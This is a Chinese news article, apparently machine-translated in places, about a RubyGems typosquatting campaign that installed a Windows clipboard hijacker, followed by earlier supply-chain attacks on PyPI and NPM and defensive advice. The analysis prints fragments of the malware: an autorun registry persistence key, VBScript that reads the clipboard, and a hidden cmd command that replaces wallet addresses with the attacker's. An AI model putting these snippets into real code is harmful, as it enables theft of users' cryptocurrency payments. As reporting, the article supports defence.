据安全公司ReversingLabs报告,Ruby语言官方模块包代码库RubyGems被植入超过725个恶意软件包。根据安全公司ReversingLabs的分析,恶意包已被下载近100,000次,尽管其中很大一部分可能是脚本自动抓取存储库中158,000个包的结果。恶意包来自两个用户帐户:“PeterGibbons”和“JimCarrey”。ReversingLabs怀疑这些帐户可能是一个人使用各种形式的窥探伪装成合法软件包的工作。例如,“atlas-client”是一个被下载2100次的诱饵包,用来冒充“atlas_client”。从2月16日到25日,两个账号共上传了700多个软件包。攻击流程根据ReversingLabs的分析,该恶意软件一旦安装,就会执行一个脚本来拦截在Windows设备上进行的比特币支付。首先,它会在“%PROGRAMDATA%\MicrosoftEssentials\SoftwareEssentials.vbs”路径中创建一个带有主要恶意循环的新VBScriptsle。然后持久化到本地机器,然后创建一个新的自动运行注册表项。“HCU\Software\Microsoft\Windows\CurrentVersion\RunMicrosoftSoftwareEssentials”实现重启后自动运行。当执行“SoftwareEssentials.vbs”恶意脚本时,会启动一个无限循环,它使用以下代码行捕获用户的剪贴板数据:SetobjHTML=CreateObject("htmlfile")text=objHTML.ParentWindow.ClipboardData.GetDat然后脚本将检查剪贴板数据是否与加密货币钱包地址的格式匹配。如果是这样,请使用以下命令在隐藏窗口中将加密货币地址替换为“1JkU5XdNLji4Ugbb8agEWL1ko5US42nNmc”:WScript.Shellrun"C:\Windows\System32\cmd.exe/cecho1JkU5XdNLji4Ugbb8agEWL1ko5US42nNmc|clip",0将所有潜在的加密货币交易重定向到他们的钱包地址。整个过程的顺序是这样的:历史事件是独一无二的,这次供应链中毒事件也不是第一次发生,此类事件近年来并不少见。RubyGems也发生过多次。2016年,一名大学生向RubyGems、PyPi和NPM上传了一个粗略的脚本。根据脚本中执行的回调调用统计,伪造脚本在17000个独立IP上执行了约45000次,其代码成功获得了管理权限。其中一半。还有两个以.mil结尾的域名,说明美军内部的主机也被感染。从那时起,类似的技术开始流行起来。2018年,黑客将剪贴板劫持脚本注入PyPi。恶意包的名称是“Colourama”,模仿了Colorama。Colorama是Python包存储库中下载次数最多的20个之一。包括从镜像站点的下载,恶意软件包被下载了171次。一个月后,又发生了攻击者利用NPM植入后门,成功盗取比特币的事件。在本次事件中,恶意后门被下载了200万次,让攻击者获得了最后的成功。这些事件表明,针对软件供应链的间接投毒攻击已经成为常态。此类攻击可能不像直接攻击那样明显,但目前还没有针对此类攻击的有效防护。眼睛亮了,要下载的软件包一定要慎重。您可以使用必要的验证手段来保证包的合法性,例如验证文件包的哈希值,并注意安全提示,以便您及时处理问题。企业可以使用DevSecOps来确保整个供应链的安全。
